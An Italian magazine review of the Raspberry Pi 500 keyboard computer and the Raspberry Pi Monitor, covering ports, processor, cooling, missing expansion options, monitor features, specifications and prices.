Per trovare altri utenti, dovete cercarli con il nome utente Wire o con il formato @nome utente. Se il contatto
appartiene a un dominio aziendale specifico, potete cercarlo nel formato @nomeutente@nomedominio.
Leggi anche: “I social network i primi ad essere oggetto di phishing“
Articoli
Test Hardware: RB Pi 500 e Pi Monitor
Un buon computer per imparare a programmare o per l’uso d’ufficio, un monitor esterno davvero versatile

A fine 2020 avevamo visto arrivare sul mercato la prima Raspberry Pi racchiusa dentro una tastiera, così com’erano gli
Home Computer di un tempo, tipo il Commodore 64 o l’Amiga. Si chiamava Raspberry Pi 400 e ora la Raspberry Pi Foundation ha deciso di compiere la stessa operazione reingegnerizzando la Raspberry Pi 5 e trasformandola nella Raspberry Pi 500!
Tastiera con delle porte
Aprendo la scatola troviamo unicamente la Raspberry Pi 500, anche se a breve dovrebbe essere venduta in kit con alimentatore e mouse. Il layout della tastiera del modello che abbiamo ricevuto è quello americano ma esiste anche quello UK. Quando leggerete queste pagine o poco dopo, comunque, sarà disponibile anche il layout italiano. La RP 500 è piuttosto compatta, ha dimensioni 286×122×23 mm (23 mm nel punto più alto, cioè la parte posteriore) e leggera (374 grammi), quindi è facile da trasportare. La tastiera è piuttosto comoda nella digitazione e, rispetto alla RP 400 ha le stesse dimensioni ma nel nuovo modello troviamo anche un pulsante per l’accensione e lo spegnimento, in alto a destra. Le lettere stampate sui tasti invece, per qualche motivo, sono più piccole e meno visibili rispetto a quelle della RP 400. Per alimentarla abbiamo fatto ricorso all’alimentatore ufficiale della Raspberry Pi da 27W che si collega all’unica presa USB-C presente sul retro della RP 500. Infine, come mouse, abbiamo usato quello presente nel kit della Raspberry Pi 4, ma si può usare un qualunque mouse USB o Bluetooth (così da tenere libera una porta USB per altri scopi). Le altre porte presenti sono una USB-A 2.0, due USB-A 3.0, lo slot per la microSD, due porte micro HDMI, il GPIO coperto da un inserto di gomma, la porta Gigabit Ethernet e lo slot Kensington se si vuole ancorare il computer alla scrivania. Rispetto alla RP 5 manca una porta USB-A 2.0, probabilmente usata internamente per collegare la tastiera.

Sul retro della RP 500 troviamo le stesse porte della RP 5, tranne una USB usata internamente per la comunicazione con la tastiera. Se si usa una delle porte USB per alimentare il monitor e un’altra per il mouse, rimane una sola porta USB libera, forse serve un hub…
Sistema operativo e CPU
La RP 500 arriva con una micro SD da 32 GB con Raspberry Pi OS preinstallato. Il numero di programmi presenti è minimale, ma i repository della RP sono pieni di Software Libero da installare. Come per la Raspberry Pi, anche la versione “tastiera” si può usare come computer usato a scopo educativo per i più piccoli, per imparare a programmare, per esempio. La presenza del GPIO suggerisce anche l’uso da parte dei maker, anche se la sua posizione è un po’ scomoda se si vogliono usare degli HAT e necessità quindi di qualche accessorio per superare questo limite. Infine, la potenza del processore è sufficiente per un uso desktop di base (navigazione Web, applicazioni d’ufficio, grafica ed editing video non troppo complesso, ecc.). Questo processore è un quad-core ARM Cortex-A76 a 2,4 GHz, lo stesso della RP 5, compreso il controller I/O RP1. Questo chip offre un notevole salto prestazionale rispetto a quello presente nella RP 400, rendendo il dispositivo più veloce e reattivo. La RAM è di 8 GB di tipo LPDDR4X (LP sta per Low Power, a bassi consumi). Le prestazioni sono “aiutate” da un sistema di dissipazione passivo, una grossa piastra di alluminio che protegge l’intera scheda madre della RP 500, davvero efficiente, che non fa innalzare troppo la temperatura neanche quando si sottopone la RP 500 a carichi di lavoro molto pesanti.

Il monitor portatile della Raspberry Pi Foundation è un ottimo complemento per qualunque computer, non solo la Raspberry Pi 500. Buono il pannello, ottima la compatibilità al supporto VESA
I lati negativi
Fin qui tutto bene. Se però si pensa alla RP 5 e si guarda la scheda madre di questa RP 500 (fate attenzione se l’aprite, non è un’operazione agevole) si nota qualche mancanza. Per esempio, l’uso della microSD per il SO è un po’ limitante: la scheda madre sembra essere predisposta per ospitare un disco NVMe ma in realtà mancano elettronica e connettore PCIe. Un vero peccato: se avessero pensato a uno slot nella base inferiore della RP 500 per l’inserimento di un NVMe le potenzialità di questo computer sarebbero aumentate grazie a capacità e velocità maggiori degli SSD rispetto alla microSD. Così come non è possibile sfruttare il PoE o collegare una videocamera attraverso il connettore MIPI. Insomma, la scheda madre sembra pronta per delle espansioni, uscirà forse in futuro un modello più evoluto?
E il monitor?
La Raspberry Pi Foundation ha pensato anche di produrre un monitor portatile da affiancare alla RP 500, e non solo, che si può acquistare a parte. Si chiama Raspberry Pi Monitor e ha un pannello IPS da 15,6’’ con risoluzione Full HD (1080p). Integra un paio di speaker frontali da 1,2W, uno stand per regolarne l’inclinazione e anche il supporto VESA per montarlo su un braccio, per esempio. Si collega alla RP 500 o a qualunque altro computer tramite la porta HDMI (normale, non micro) e si alimenta usando la porta USB-C presente sul retro. Per l’alimentazione si può usare un alimentatore esterno oppure collegare il cavo USB-A/USB-C presente in confezione a una delle porte USB della RP 500. In questo secondo caso, però, la luminosità dello schermo arriva al 60% del massimo (ma è comunque più che sufficiente) mentre l’audio è del 50% e nelle nostre prove ci è sembrato davvero bassino. Più che discreto, invece, collegando il monitor a una presa di corrente. Sempre sul retro troviamo un pulsante d’accensione e due pulsanti per regolare luminosità e volume. In generale questo schermo ci è piaciuto molto e considerando il prezzo, circa 115 €, e le sue dimensioni contenute, è davvero conveniente se si cerca qualcosa di trasportabile con facilità e utilizzabile con qualunque computer o come secondo monitor per la scrivania.
SPECIFICHE
RP 500
Processore: Quad-core ARM Cortex-A76 a 2,4 GHz
Memoria: 8 GB LPDDR4X-4267
GPU: VideoCore VII
Connettività: Wi-Fi 802.11ac, Bluetooth 5.0, Ethernet Gigabit
Porte: 2 USB 3.0, 1 USB 2.0, 2 micro HDMI (supporto fino a 4K@60Hz), slot MicroSD
RP Monitor
Display: IPS 15,6’’ Full HD (1920×1080 pixel)
Luminosità: 250 nits
Profondità di colore: 16,2M
Connessioni: HDMI standard, jack da 3,5mm per l’uscita audio, USB-C per l’alimentazione
Note: pannello con copertura antiriflesso, stand regolabile, 2 speaker integrati da 1,2W, montaggio VESA
Sito Internet
PREZZO: 93 € (RP 500), 115 € (Monitor)
Leggi anche: “Espandi il Raspberry Pi con M2 Hat “
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